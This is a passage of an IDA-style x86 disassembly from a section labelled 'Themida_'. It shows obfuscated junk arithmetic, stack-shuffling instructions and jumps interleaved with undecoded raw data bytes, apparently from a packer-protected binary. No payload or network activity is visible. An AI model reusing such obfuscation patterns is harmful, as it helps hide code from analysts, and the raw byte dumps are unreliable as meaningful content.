; ---------------------------------------------------------------------------
		dd 4C681h, 0C6830000h, 24348704h, 0B0C7E95Ch, 815FFFFFh
		dd 4C7h, 3398E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F346:				; CODE XREF: Themida_:0054FA09j
		push	eax
		mov	eax, 7B9F60A6h
		shr	eax, 6
		and	eax, 2080277Ah
		sub	eax, 0D2BADD97h
		mov	ebp, eax
		pop	eax
		push	810h
		mov	[esp], edx
		jmp	loc_54F968
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0EDh
		dd 1243709h, 1EB850FAh,	835EB720h, 0FEE904ECh, 8BFFFFB6h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_54D3D6
; ---------------------------------------------------------------------------
		dw 315Ch
		dd 76E92404h, 66FFFFA4h, 66C8B60Fh, 2CE99C51h, 81000062h
		dd 4C4h, 0E3C9E900h, 0A4BDFFFFh, 0C142E60Ch, 0C58104E5h
		dd 36DC5F82h, 4DE9EE29h, 0B800003Bh, 3F69794Bh,	0A569860Dh
		dd 0BD554072h, 2E955331h, 0E905EDC1h, 0FFFFD2ADh, 171CD9BFh
		dd 0E9FB31F8h, 43C5h
; ---------------------------------------------------------------------------


loc_54F3F0:				; CODE XREF: Themida_:0054DFADj
		shl	edi, 6
		sub	edi, 31B0CE8Ch
		jmp	loc_54A34C
; ---------------------------------------------------------------------------
		dw 2DADh
		dd 7C5416B6h, 14DFBB53h, 0EBC133DEh, 29C38103h,	813B3574h
		dd 5525C9CBh, 5E3C16Ch,	22E2E9h, 58C68900h, 277DE9h, 12E95000h
		dd 58FFFFB6h, 8107E1C1h, 45AA02F1h, 59CA89D4h, 8A8E9h
		dd 0E8E94100h, 0B7FFFFC5h, 66F80009h, 28A3045Bh, 2434FFC3h
		dd 50EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_54F459:				; CODE XREF: Themida_:00550745j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5533E9
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BF243C89h, 4E2208BAh, 0BFF78147h, 14E2208h, 0C01BE9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F486:				; CODE XREF: Themida_:0054C87Cj
		push	esi
		push	7B1h
		jmp	loc_54EEC7
; ---------------------------------------------------------------------------
		db 0E9h, 7Fh, 0A3h
		dd 481FFFFh, 424h, 324FE900h, 0F3010000h, 2A48E9h, 4C48300h
		dd 0E1C1D9F7h, 31D93103h, 180DE9CBh, 0E95F0000h, 2AF9h
		dd 5621312Dh, 243C8B0Eh, 163AE9h, 243C8B00h, 5004C483h
		dd 4B8h, 58C20100h, 2C9EE9h, 3F16B800h,	3A0552E2h, 0F7310955h
		dd 6A9835D8h, 81E94C7Dh, 46000062h, 0B2C5F681h,	0F08978BEh
		dd 58C7015Eh, 0C9E1E956h, 8957FFFFh, 4C781E7h, 56000000h
		dd 4BEh, 864E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F51E:				; CODE XREF: Themida_:00550D3Aj
		push	esi
		jmp	$+5
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55059C
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0F2h
		dd 6D24202Dh, 148BD001h, 4C48124h, 33000000h, 4312404h
		dd 0C4C1E924h, 48BFFFFh, 4C48324h, 0E95AD088h, 5DE5h, 54241489h
		dd 5C12E95Ah, 0EA810000h, 304D07EFh, 5463E9h, 6D606800h
		dd 0DBE90000h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F57F:				; CODE XREF: Themida_:0054F992j
		add	ecx, 6125CE8h
		pop	edi
		add	ecx, 4
		push	ecx
		jmp	loc_554447
; ---------------------------------------------------------------------------


loc_54F58F:				; CODE XREF: Themida_:00549DA6j
		pop	edi
		jmp	loc_5513D4
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E8830000h, 24048704h, 8924248Bh, 74E9243Ch,	5AFFFFC3h
		dd 2953E955h, 0CB290000h, 2DF38159h, 0E9CDD763h, 5A2Bh
		dd 874AD787h, 50DFF7D7h, 0E37A34B8h, 0BFF2E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5D2:				; CODE XREF: Themida_:005521D0j
		mov	[esp], eax
		xchg	ebx, [esp]
		jmp	loc_553758
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 87h
		dd 5678C119h, 0A6481968h, 0F6815E40h, 13FF2535h, 73E9DEF7h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5F7:				; CODE XREF: Themida_:0055462Cj
		jmp	loc_549815
; ---------------------------------------------------------------------------
		dd 0B951D2F7h, 0
		dd 0CA89D129h, 0E9240C8Bh, 0FFFFB004h, 4B951h, 0EC830000h
		dd 24148904h, 0B4617EBAh, 0E9D3012Ch, 250Bh, 33240431h
		dd 0D25C2404h, 0E99C240Ch, 0FFFFA1DDh, 44F04ACh, 2CD828F6h
		dd 0E95053F6h, 5181h
; ---------------------------------------------------------------------------


loc_54F648:				; CODE XREF: Themida_:0054B763j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		movzx	ecx, al
		jmp	loc_54E71A
; ---------------------------------------------------------------------------
		db 0BBh, 0A7h, 0Fh
		dd 98E95F6Fh, 81FFFFB4h, 374160E5h, 5CED8108h, 89003301h
		dd 242C8BEEh, 104C483h,	24348BF3h, 0E904C483h, 493Dh, 4C4835Dh
		dd 8124348Bh, 4C4h, 39536800h, 5AE90000h, 8B000062h, 0C4832434h
		dd 24048F04h, 6624248Bh, 6824048Bh, 4A07h, 89242C89h, 4EC83E5h
		dd 0BA241489h, 4, 0E95AD501h, 0FFFFF80Bh, 341FE950h, 0C14D0000h
		dd 0BE5607E5h, 0F573923h, 15C9E681h, 0F68120F4h, 5E9B4150h
		dd 6238E9h, 24048B00h, 54ACE952h, 0EF810000h, 0FD2252Ah
		dd 4CA7E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F6FA:				; CODE XREF: Themida_:00555340j
		sub	eax, 2F2119A3h
		xor	eax, 8B5BC385h
		add	ebx, eax
		pop	eax
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_54A134
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0C7h
		dd 243C3302h, 33243C31h, 25E9243Ch, 8300003Bh, 0C3304C1h
		dd 240C3124h, 5C240C33h, 31241C33h, 1C33241Ch, 24248B24h
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 43660333h
		push	ecx
		mov	ecx, 4F633037h
		not	ecx
		and	ecx, 0BDD6292h
		sub	ecx, 0FBABECE6h
		and	esi, ecx
		pop	ecx
		push	esi
		not	dword ptr [esp]
		pop	esi
		add	esi, 7BD626F6h
		push	ecx
		jmp	loc_54C601
; ---------------------------------------------------------------------------


loc_54F777:				; CODE XREF: Themida_:005536C4j
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_55140D
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB80D9C3h, 515A668Ah, 0EC88DD88h, 24B25B59h, 199BE9h
		dd 0B6526600h, 0C6EEE974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F7A2:				; CODE XREF: Themida_:00553E51j
		pop	esi
		add	esp, 4
		sub	esi, edx
		pop	edx
		push	0
		sub	[esp], esi
		jmp	loc_554AE3
; ---------------------------------------------------------------------------
		dw 1C87h
aSv		db '$é‚',1Bh,0
		align 2


loc_54F7BE:				; CODE XREF: Themida_:0054B861j
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, ebx
		push	ebp
		push	ebx
		mov	ebx, edi
		mov	ebp, ebx
		pop	ebx
		push	0CA3h
		mov	[esp], ebx
		jmp	loc_55287C
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C241CD3h, 0FFA024E9h, 2402B0FFh,	4C8FE0Eh
		dd 4D0F682h, 0E9C52862h, 96Ch, 177BF181h, 10E935BEh, 5BFFFFCCh
		dd 840FC009h, 0FFFFCB31h, 0B3685552h, 8900001Bh, 0FEB82404h
		dd 89000000h, 0D2E958C5h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F82F:				; CODE XREF: Themida_:00553CFEj
		mov	[esp], edx
		push	edi
		mov	edi, 77AA0601h
		shl	edi, 7
		push	eax
		mov	eax, 5EA17AC6h
		and	edi, eax
		jmp	loc_54CAAD
; ---------------------------------------------------------------------------
		dd 240C8B66h, 93E95450h, 0F6000039h, 1C280DAh, 0C280D2F6h
		dd 5AD00000h, 63E97904h, 8000005Dh, 0EA807CCAh,	51B652B4h
		dd 0F00043B0h, 0B39FE95Ah, 0CAFEFFFFh, 0E2C0D2F6h, 77EA8004h
		dd 0FFE73CE9h, 4EC83FFh, 89240C89h, 736368E1h, 1C890000h
		dd 67DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F89E:				; CODE XREF: Themida_:0054F97Cj
		add	edx, eax
		pop	eax
		sub	edx, 7E591042h
		add	edx, 0EEB11694h
		mov	eax, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		add	dword ptr [esp], 588505D3h
		pop	ebx
		sub	ebx, 588505D3h
		pop	eax
		shl	ebx, 1
		add	ebx, 5BCDD43Ch
		and	eax, ebx
		jmp	loc_549D40
; ---------------------------------------------------------------------------
aA0usgi		db '€ì',1Bh,'0ãéGI',0
		align 4
		dd 0E9243C89h, 0FFFFCF06h, 0FF9F20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F8F5:				; CODE XREF: Themida_:00552F13j
		push	ebp
		jmp	loc_554E09
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B5B75352h, 0EFC0C7FEh, 7DE78006h, 0F3B25266h, 0DAF6D2F6h
		dd 0FFFF65E9h, 0FFE830FFh, 83592434h, 0F0E904C4h, 81000050h
		dd 4A6DCBCEh, 2E6C12Bh,	0BF28EE81h, 0F089EDF9h,	1882E9h
		dd 59B36800h, 0C890000h, 1B8A6824h, 8359299Ch, 0F18101E9h
		dd 4ABA6B32h, 0FFC39EE9h, 7C44BBFFh, 0DD016F26h, 54F5815Bh
		dd 0E9260F70h, 0FFFFA39Eh
; ---------------------------------------------------------------------------


loc_54F968:				; CODE XREF: Themida_:0054F364j
		push	0B89039Bh
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 5343D49h
		jmp	loc_54F89E
; ---------------------------------------------------------------------------


loc_54F981:				; CODE XREF: Themida_:0054C918j
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		sub	ecx, 6125CE8h
		add	ecx, edi
		jmp	loc_54F57F
; ---------------------------------------------------------------------------
		db 5Fh
		dd 148BD521h, 4C48124h,	4D000000h, 82BE5652h, 89688F32h
		dd 0EAC15EF2h, 6EE28105h, 0C13E9725h, 0C28302E2h, 0BD05E9FFh
		dd 0C2FEFFFFh, 0E901EA80h, 25BEh
; ---------------------------------------------------------------------------


loc_54F9CC:				; CODE XREF: Themida_:005529EAj
		jmp	loc_554598
; ---------------------------------------------------------------------------
a_sk0		db '_éª0',0
		dw 8100h
		dd 4C4h, 48B1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F9E2:				; CODE XREF: Themida_:005544DFj
		add	esp, 4
		push	ebx
		mov	ebx, 2A47191Bh
		neg	ebx
		inc	ebx
		add	ebx, 3A8C6F2Bh
		shr	ebx, 4
		xor	ebx, 50E02147h
		sub	eax, ebx
		pop	ebx
		push	ebx
		push	eax
		push	ebx
		mov	ebx, 5CC177BFh
		push	ebp
		jmp	loc_54F346
; ---------------------------------------------------------------------------
		dd offset dword_5AD588
		dw 66E8h
		dd 50240C8Bh, 4055854h,	0E9000000h, 0FFFFF3F2h
; ---------------------------------------------------------------------------


loc_54FA24:				; CODE XREF: Themida_:0054A67Cj
		push	ebx
		mov	ebx, 70B63CB8h
		and	ebx, 3B1E091Dh
		add	ebx, 0D03C42CEh
		xor	eax, ebx
		pop	ebx
		mov	ebp, eax
		pop	eax
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_54AE0B
; ---------------------------------------------------------------------------


loc_54FA46:				; CODE XREF: Themida_:0054A82Fj
		add	ecx, 8A43CD7h
		add	ecx, esi
		sub	ecx, 8A43CD7h
		pop	esi
		jmp	loc_54EB16
; ---------------------------------------------------------------------------


loc_54FA5A:				; CODE XREF: Themida_:0054D833j
		shl	edx, 1
		push	3219h
		mov	[esp], ebx
		mov	ebx, 7CBE43E2h
		not	ebx
		push	edx
		jmp	loc_54D767
; ---------------------------------------------------------------------------
aPs5c		db '\Pé5C',0
		align 4
		dd 3FBE5659h, 17E4D67h,	50535EF1h, 1B79CEB8h, 0D140BB58h
		dd 0C301B6A8h, 8324048Bh, 0D90104C4h, 0E9241C8Bh, 0FFFFD82Bh
		dd 6E1C15Eh, 0B47CE981h, 0ED819104h, 4CAB13BDh,	0C581CD01h
		dd 4CAB13BDh, 83240C8Bh, 0C58304C4h, 242C3302h,	33242C31h
		dd 665C242Ch, 9C240429h, 0FF9D40E9h, 74FF50FFh,	98E90424h
		dd 1FFFF9Dh, 0BF575DEEh, 89106F0h, 0E905E7C1h, 0FFFFB332h
		dd 0E92434FFh, 0FFFFE84Eh, 7EDC145h, 698CB850h,	0C52901FAh
		dd 8BEE0158h, 0C483242Ch, 0BB535204h, 639069F6h, 0D15BDA89h
		dd 0E8F281E2h, 1C720D3h, 24148BD6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5526C5
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 0F553E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FB3A:				; CODE XREF: Themida_:0055004Ej
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	1
		push	dword ptr [esp]
		pop	edi
		push	4757h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, edi
		jmp	loc_550A5D
; ---------------------------------------------------------------------------


loc_54FB77:				; CODE XREF: Themida_:00550563j
		mov	esp, [esp]
		mov	[esp], ecx
		push	3D0235B9h
		jmp	loc_54CBA4
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 2DB9B824h,	0F7486893h, 23F305D0h, 0D7052121h
		dd 2D35DA40h, 9F8DF921h, 48BC609h, 4C48324h, 5508E6C1h
		dd 8E6065BDh, 8BEE295Bh, 0C483242Ch, 28D4E904h,	0D6010000h
		dd 644EC681h, 575A2D57h, 4BFh, 5FFE0100h, 5C243487h, 0FF2434FFh
		dd 68592434h, 5B27h, 0FFE31EE9h, 81C301FFh, 0D41E56EBh
		dd 24048B68h, 4C481h, 0BF570000h, 2, 875FFB01h,	248B241Ch
		dd 0BB0F6624h, 0E99C2404h, 0FFFF9C01h, 241C8966h, 2474FF66h
		dd 1C8B6602h, 2C48324h,	0FFB6EBE9h, 5FFE01FFh, 31243433h
		dd 34332434h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		push	ebp
		mov	ebp, 65912130h
		push	edi
		mov	edi, 413131BDh
		or	edi, 24AF35BFh
		add	edi, 0FFFFFFFFh
		add	edi, 34AFA916h
		add	ebp, edi
		pop	edi
		jmp	loc_54E3A5
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0C223A30Fh, 46E9C629h, 43000027h, 0FFD13CE9h, 2434FFFFh
		dd 4C4835Bh, 242C8153h,	42D13BF4h, 0E9242C8Bh, 1D86h, 0F859ADB9h
		dd 0F0B8E945h, 0CF01FFFFh, 4855EF81h, 55562229h, 0AFDB850h
		dd 0E950792Fh, 0FFFFCDD4h
; ---------------------------------------------------------------------------


loc_54FCAC:				; CODE XREF: Themida_:0054E6BBj
		or	edx, 65201117h
		sub	edx, 2E28786Eh
		jmp	loc_553574
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 2040D2C5h, 77E5811Eh, 0C131BC7Dh,	0BB5304EDh
		dd 766C58A5h, 1689E9h, 0B60F5800h, 87048DC0h, 0FFAF7EE9h
		dd 5AD001FFh, 5C240487h, 2404D366h, 9B1BE99Ch, 5854FFFFh
		dd 405h, 0E9555100h, 59C6h, 0A7242C81h,	0E9717B6Ah, 0FFFFCC09h
		dd 465FFE89h, 258FEE81h, 0F6815B66h, 7A3E8EE0h,	5EFE9h
		dd 0C8B5A00h, 4C48124h,	0E9000000h, 0FFFFBEF2h,	0ED81D5F7h
		dd 75040266h, 84E9DDF7h, 29FFFFAAh, 0EC835DE8h,	1048E904h
		dd 89570000h, 4C781E7h,	83000000h, 3C8704C7h, 0EC815C24h
		dd 4, 52240C89h, 5A4AE9h, 2434FF00h, 0EC835158h, 48F5404h
		dd 9F0EE924h, 0F729FFFFh, 243C875Eh, 48F545Ch, 24048124h
		dd 4, 7EEE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FD9A:				; CODE XREF: Themida_:0054D24Bj
		add	ebx, eax
		jmp	loc_5555F3
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 248B241Ch, 4016624h, 5EE99C24h, 0FFFFFF9Ah
		dd 83582434h, 0C8904ECh, 81E18924h, 4C1h, 0C7E95500h, 0FFFFFFD0h
		dd 34FF2434h, 24048B24h, 4C481h, 54530000h, 4C3815Bh, 81000000h
		dd 4C3h, 241C3300h, 0FFE0D6E9h,	4C281FFh, 81000000h, 4EAh
		dd 24148700h, 2605E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FE0A:				; CODE XREF: Themida_:0054D0CFj
		neg	eax
		or	eax, 2C9D384Fh
		jmp	loc_54EAA0
; ---------------------------------------------------------------------------
		dw 0E968h
		dd 89000074h, 4BB42404h, 0EC80DCF6h, 3EC48084h,	8004EB80h
		dd 0E3006EEBh, 0FEF8B050h, 9734C0h, 0B45058C3h,	57F4802Eh
		dd 73E9h, 5FFE2900h, 0E92434FFh, 837h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 2197E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FE65:				; CODE XREF: Themida_:0055459Bj
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54ADFC
; ---------------------------------------------------------------------------


loc_54FE74:				; CODE XREF: Themida_:0054B7F4j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54DBAF
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 0E0F18104h, 520A1F11h, 0DB7D55BAh, 0EDEBE927h, 0B850FFFFh
		dd 5F2173DBh, 0F702E0C1h, 7D2548D8h, 0E92AE66Ah, 0FFFFC3E3h
; ---------------------------------------------------------------------------


loc_54FEAC:				; CODE XREF: Themida_:00550FBCj
		pop	esp
		add	ebx, 244A16C1h
		jmp	loc_552CD0
; ---------------------------------------------------------------------------
		dd 8004ECC0h, 0E480C4ECh, 0FCEC8098h, 8026B252h, 0D30067C2h
		dd 0E9E3005Ah, 0FFFFF3C9h, 0B20DE95Bh, 0ED81FFFFh, 4287309Ch
		dd 0ED814D45h, 2157223Bh, 1597E9h, 2354BD00h, 36E92C15h
		dd 4A00005Ah, 5B35C281h, 0E2C16238h, 0E8C4E906h, 0AE9FFFFh
		dd 58FFFF99h, 4EB15166h, 0F675E180h, 0AFE953D1h, 0BBFFFFCFh
		dd 28501F98h, 68h, 24048100h, 717B6AA7h, 0E9241C29h, 0FFFFFDD4h
		dd 8924248Bh, 0D6E92404h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF3F:				; CODE XREF: Themida_:0054BC45j
		mov	edi, 6FBA1796h
		mov	ecx, edi
		pop	edi
		xor	ecx, 31AE1CC3h
		sub	ecx, 206EFA45h
		and	ebp, ecx
		pop	ecx
		neg	ebp
		not	ebp
		inc	ebp
		jmp	loc_54A166
; ---------------------------------------------------------------------------
		dd 1D4D6857h, 0E95F4822h, 1247h, 8E9F186h, 8100004Ch, 8E094CCEh
		dd 85C68141h, 293C4076h, 1C875EF3h, 89665C24h, 66512414h
		dd 66438CB9h, 0FFFFC181h, 0E8E95366h, 0BBFFFFC5h, 3B4E3A1Dh
		dd 0E3814B4Bh, 84B4E0Dh, 0CB81EBD1h, 197361A5h,	0A29BE957h
		dd 815BFFFFh, 801FA6CBh, 35F38178h, 31530455h, 0BD555BD8h
		dd 6C673A4Bh, 0EC81524Dh, 4, 0E9243C89h, 172Dh
; ---------------------------------------------------------------------------


loc_54FFDC:				; CODE XREF: Themida_:0054F240j
		sub	ecx, 4
		jmp	loc_554A22
; ---------------------------------------------------------------------------


loc_54FFE4:				; CODE XREF: Themida_:0054D6F9j
		sub	ebx, ebp
		sub	ebx, 24552644h
		jmp	loc_55122F
; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 0B6h
		dd 8734FFC0h, 2AE6E9h, 5AF30000h, 0F15EB80h, 8B66C0B6h
		dd 50682414h, 0E9000029h, 0FFFFDD25h, 9019BCBAh, 0F5DEE911h
		dd 5401FFFFh, 34FF0424h, 89575A24h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 24048B5Ch, 504C483h, 4, 0E902C083h
		dd 0FFFFE8D1h
; ---------------------------------------------------------------------------


loc_55004C:				; CODE XREF: Themida_:0054A310j
		mov	eax, esp
		jmp	loc_54FB3A
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 815D0424h,	4C5h, 4ED8100h,	81000000h, 4ECh
		dd 9A6CE900h, 0E981FFFFh, 545F5ABCh, 0D142C181h, 0CA89A963h
		dd 2BEBE9h, 8BC70100h, 0C4812404h, 4, 4BD55h, 94E90000h
		dd 0FFFFFF9Ch, 83582434h, 0EC8104C4h, 4, 0E9243489h, 0FFFFA3A1h
; ---------------------------------------------------------------------------


loc_5500B0:				; CODE XREF: Themida_:0054B646j
		sub	edi, 5E0D0A31h
		jmp	loc_553624
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9359568h, 0FFFF9E6Dh, 0BF243C89h, 0C770A2h, 15FFE01h
		dd 0A2EE81C6h, 0E900C770h, 0FFFFF501h
; ---------------------------------------------------------------------------


loc_5500DC:				; CODE XREF: Themida_:00554C95j
		push	10h
		pop	esi
		and	ebx, esi
		jmp	loc_54EDB6
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0DE010000h, 0FFB0D8E9h, 0E9F289FFh, 0FFFFBD86h, 42474FFh
		dd 8124348Bh, 4C4h, 24048F00h, 6624248Bh, 0FEE930FFh, 50FFFF96h
		dd 0FFAEE3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55011D:				; CODE XREF: Themida_:0054D5C3j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	65C1h
		mov	[esp], ebx
		push	3907h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		mov	edi, 2D7A3EB0h
		jmp	loc_5506C4
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E902EDh, 0B7000016h, 0B352E97Fh, 0EAC0FFFFh, 0F709E907h
		dd 6852FFFFh, 2AA4h, 83242489h,	0E9042404h, 0FFFFA8A4h
		dd 16C58058h, 5B59E828h, 625368h, 241C8900h, 0CBFE5BB3h
		dd 0E9B1B050h, 0FFFFE011h, 2FE2E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550192:				; CODE XREF: Themida_:005535B2j
		push	28DD0F3Fh
		mov	ebx, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54F225
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48124h,	52000000h, 0BF57E289h, 7FA347E4h
		dd 4451BD55h, 0EF2949EDh, 74E7815Dh, 0E967B452h, 0FFFFBBBFh
		dd 0CECED81h, 0D5017486h, 5317E951h, 0EC810000h, 4, 53241489h
		dd 0C38047B3h, 5BDA88CAh, 45AD000h, 51F0284Eh, 0C1FE6EB1h
		dd 51B25266h, 5A66D108h, 0FFFD57E9h, 4EC83FFh, 0FF240C89h
		dd 59042474h, 8B24048Fh, 8B662424h, 5457240Ch, 6856515Fh
		dd 34362666h, 24CE815Eh, 8117F902h, 902F56CEh, 14F75637h
		dd 5547E924h, 814E0000h, 0F24AB7CEh, 84E68150h,	50620206h
		dd 1B8h, 9DEE8100h, 0E90E3168h,	298Eh, 2C5BF900h, 66C8009Dh
		dd 9DB753h, 0CAD9E9F8h,	0EA81FFFFh, 71087AC8h, 0C281F201h
		dd 71087AC8h, 55C2015Eh, 0EF7E9h, 1FC9BB00h, 0DBF70C76h
		dd 0E906E3C1h, 0D8Dh, 2C28C781h, 0F781172Fh, 3AF637C9h
		dd 0FE2F781h, 7BE9629Ah, 0FF000040h, 34FF2434h,	3637E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5502C2:				; CODE XREF: Themida_:0054B1F7j
		pop	ebp
		add	esp, 4
		push	eax
		mov	eax, 8E24D43h
		sub	[esp+8], eax
		pop	eax
		jmp	loc_54ADD9
; ---------------------------------------------------------------------------


loc_5502D9:				; CODE XREF: Themida_:00551DF9j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5537CE
; ---------------------------------------------------------------------------
aOcQs3		db '¿®ç´ïéÎ3',0
		dw 8F00h
		dd 12E94047h, 81FFFF95h, 7F2016C2h, 4EC814Ah, 89000000h
		dd 0E951243Ch, 2F13h, 348BF001h, 4C48124h, 57000000h, 94BBE56h
		dd 0F7897A4Dh, 8324348Bh, 0F80104C4h, 16B6055Fh, 34687C54h
		dd 8900007Bh, 68532414h, 53F4013Dh, 0E9241C8Bh,	0FFFFC38Ah
; ---------------------------------------------------------------------------


loc_550350:				; CODE XREF: Themida_:00551766j
		push	dword ptr [edi+24h]
		push	ebx
		jmp	loc_54BD19
; ---------------------------------------------------------------------------


loc_550359:				; CODE XREF: Themida_:0054E3FAj
		push	ebx
		jmp	loc_54DD80
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E9E68956h, 187Dh, 8904EC83h, 3E92404h, 55FFFFE1h, 0F00A9668h
		dd 0EE315D72h, 83242C8Bh, 0F20104C4h, 8124348Bh, 4C4h
		dd 24148700h, 0FFCB3FE9h, 0FFF801FFh, 0CBE92434h, 5FFFFF98h
		dd 504E0C1h, 0E108B083h, 0E958C131h, 0FFFFD71Ah, 495EF131h
		dd 20F2E181h, 0F1817A8Ch, 0C8E5B758h, 3159CD89h, 6EE95DEAh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5503CB:				; CODE XREF: Themida_:0054EEF5j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_551F98
		sub	esp, 4
		jmp	loc_553D61
; ---------------------------------------------------------------------------


loc_5503F6:				; CODE XREF: Themida_:00553AFFj
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_55040C:				; CODE XREF: Themida_:0054A5B6j
		push	44ACh
		jmp	loc_54D882
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4D1D057Ch, 47E9F001h, 8BFFFF94h, 89532424h, 4C381E3h
		dd 68000000h, 4C95h, 0BF243C89h, 4, 335FFB01h, 1C31241Ch
		dd 241C3324h, 0FFBAB7E9h, 8BC831FFh, 87E9240Ch,	0B9FFFFEDh
		dd 7F8072FBh, 0D73E955h, 59660000h, 0C380C300h,	38B9E9B9h
		dd 0E1890000h, 5E1268h,	0C2F8E900h, 0D3F7FFFFh,	2434F381h
		dd 0EB817C07h, 5A596487h, 5ECABE56h, 0F33133A9h, 0E9574B5Eh
		dd 0FFFFE970h, 24048B66h, 0FFB5BAE9h, 64EFBDFFh, 0EB296D5Ch
		dd 0FFC3835Dh, 8103E3C1h, 0B61AA0C3h, 0FFDA29EDh, 815B2434h
		dd 4C4h, 20578900h, 0FF96A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5504C9:				; CODE XREF: Themida_:00553E47j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_549AB8
; ---------------------------------------------------------------------------


loc_5504E3:				; CODE XREF: Themida_:00553342j
		pop	ecx
		jmp	loc_553F6D
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 0E1h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5504EF:				; CODE XREF: Themida_:0054E38Aj
		mov	ebx, 0FE047216h
		xor	eax, ebx
		pop	ebx
		jmp	loc_54E1EB
; ---------------------------------------------------------------------------
		dd 55DE821h, 0F6343DB3h, 68C18951h, 51E0h, 81240C89h, 7D02242Ch
